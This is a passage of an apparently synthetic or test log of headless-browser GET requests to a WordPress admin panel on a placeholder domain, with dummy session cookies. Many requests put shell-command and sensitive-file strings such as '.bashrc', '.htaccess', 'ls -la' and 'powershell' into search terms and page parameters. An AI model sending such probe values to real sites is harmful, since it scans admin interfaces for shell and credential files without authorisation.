"GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-install.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214704"], "body": ""} +{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2Fedit.php%3Fs%3Dpython3&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214704"], "body": ""} +{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin.php?page=menu-.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251825"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin.php?page=menu-example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251825"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin.php?page=menu-ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin.php?page=menu-powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin.php?page=menu-python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""} +{"method": "GET", "target": "/wp-admin/options-general.php?page=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""} +{"method": "GET", "target": "/wp-admin/options-general.php?page=example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""} +{"method": "GET", "target": "/wp-admin/options-general.php?page=ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""} +{"method": "GET", "target": "/wp-admin/options-general.php?page=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""} +{"method": "GET", "target": "/wp-admin/options-general.php?page=python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""} +{"method": "GET", "target": "/wp-admin/tools.php?page=tools-.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""} +{"method": "GET", "target": "/wp-admin/tools.php?page=tools-example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""} +{"method": "GET", "target": "/wp-admin/tools.php?page=tools-ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""} +{"method": "GET", "target": "/wp-admin/tools.php?page=tools-powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""} +{"method": "GET", "target": "/wp-admin/tools.php?page=tools-python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""} +{"method": "GET", "target": "/wp-admin/site-editor.php?postType=wp_template&postId=python3-theme//single&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""} +{"method": "GET", "target": "/wp-admin/site-editor.php?canvas=edit&p=/wp_template/python3-theme//single", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""} +{"method": "GET", "target": "/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Findex&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""} +{"method": "GET", "target": "/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Fpowershell-page&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251831"], "body": ""} +{"method": "GET", "target": "/wp-admin/site-editor.php?postType=wp_template&postId=python3-theme%2F%2Fpowershell-page&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251835"], "body": ""} +{"method": "GET", "target": "/wp-admin/site-editor.php?canvas=edit&p=/wp_template/python3-theme//powershell-page", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251835"], "body": ""} 